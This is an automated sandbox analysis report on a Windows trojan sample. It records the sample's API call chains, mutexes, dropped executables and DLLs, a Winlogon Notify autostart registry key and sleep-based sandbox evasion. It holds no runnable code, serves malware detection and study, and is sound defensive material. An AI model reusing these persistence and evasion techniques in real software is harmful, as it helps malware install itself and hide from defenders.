Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: classification engine

Classification label: mal100.troj.evad.winEXE@5/4@548/4

Source: C:\Users\user\Desktop\5SGOAKv7AR.exe

Code function: 0_2_00403A19 EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,Creat

0_2_00403A19

Source: C:\Windows\SysWOW64\edsuvoov-usum.exe

File created: C:\Users\user\AppData\Roaming\tmp5C6F.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0A
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0B
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0C
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0D
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0E
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0F
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-10
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-11
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-01
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-12
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-02
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-13
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-03
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-04
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-05
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-06
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-07
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-08
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-09

Source: 5SGOAKv7AR.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\5SGOAKv7AR.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 5SGOAKv7AR.exe	Virustotal: Detection: 89%
Source: 5SGOAKv7AR.exe	ReversingLabs: Detection: 84%

Source: C:\Users\user\Desktop\5SGOAKv7AR.exe

File read: C:\Users\user\Desktop\5SGOAKv7AR.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\5SGOAKv7AR.exe "C:\Users\user\Desktop\5SGOAKv7AR.exe"
Source: C:\Users\user\Desktop\5SGOAKv7AR.exe	Process created: C:\Windows\SysWOW64\edsuvoov-usum.exe "C:\Windows\system32\edsuvoov-usum.exe"
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Process created: C:\Windows\SysWOW64\edsuvoov-usum.exe --k33p
Source: C:\Users\user\Desktop\5SGOAKv7AR.exe	Process created: C:\Windows\SysWOW64\edsuvoov-usum.exe "C:\Windows\system32\edsuvoov-usum.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Process created: C:\Windows\SysWOW64\edsuvoov-usum.exe --k33p	Jump to behavior

Source: C:\Users\user\Desktop\5SGOAKv7AR.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\5SGOAKv7AR.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\5SGOAKv7AR.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\5SGOAKv7AR.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\5SGOAKv7AR.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: workfoldersshell.dll	Jump to behavior

Source: C:\Windows\SysWOW64\edsuvoov-usum.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Data Obfuscation

Contains functionality to check for running processes (XOR)

Source: C:\Users\user\Desktop\5SGOAKv7AR.exe	Code function: EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,CreateFileA,RegOpe	0_2_00403A19
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Code function: EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,CreateFileA,RegOpe	1_2_00403A19
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Code function: EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CloseHandle,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,CreateFileA,RegOpenKeyExA,RegOpenKeyExA,lstrlenA,RegSetValueExA,RegCloseKey,RegCreate	3_2_00403A19

Source: C:\Users\user\Desktop\5SGOAKv7AR.exe

0_2_00403A19

Source: edsuvoov-usum.exe.0.dr	Static PE information: real checksum: 0x18972 should be: 0x29cba
Source: 5SGOAKv7AR.exe	Static PE information: real checksum: 0x18972 should be: 0x29cba

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\SysWOW64\edsuvoov-usum.exe

Executable created and started: C:\Windows\SysWOW64\edsuvoov-usum.exe

Jump to behavior

Source: C:\Users\user\Desktop\5SGOAKv7AR.exe	File created: C:\Windows\SysWOW64\edsuvoov-usum.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	File created: C:\Windows\SysWOW64\ehmehut.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	File created: C:\Users\user\AppData\Roaming\osgobah.dll	Jump to dropped file

Source: C:\Users\user\Desktop\5SGOAKv7AR.exe	File created: C:\Windows\SysWOW64\edsuvoov-usum.exe			Jump to dropped file
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	File created: C:\Windows\SysWOW64\ehmehut.dll			Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} DLLName	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} DLLName	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} Startup	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} Startup	Jump to behavior

Source: C:\Users\user\Desktop\5SGOAKv7AR.exe

0_2_00403A19

Source: C:\Users\user\Desktop\5SGOAKv7AR.exe

0_2_00403A19

Source: C:\Windows\SysWOW64\edsuvoov-usum.exe

Thread delayed: delay time: 600000

Jump to behavior

Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Window / User API: threadDelayed 2302	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Window / User API: threadDelayed 7284	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 880	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 873	Jump to behavior

Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\ehmehut.dll			Jump to dropped file
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\osgobah.dll			Jump to dropped file

Source: C:\Windows\SysWOW64\edsuvoov-usum.exe TID: 8008	Thread sleep count: 2302 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe TID: 8008	Thread sleep time: -2302000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe TID: 8092	Thread sleep count: 62 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe TID: 8092	Thread sleep time: -37200000s >= -30000s	Jump to behavior
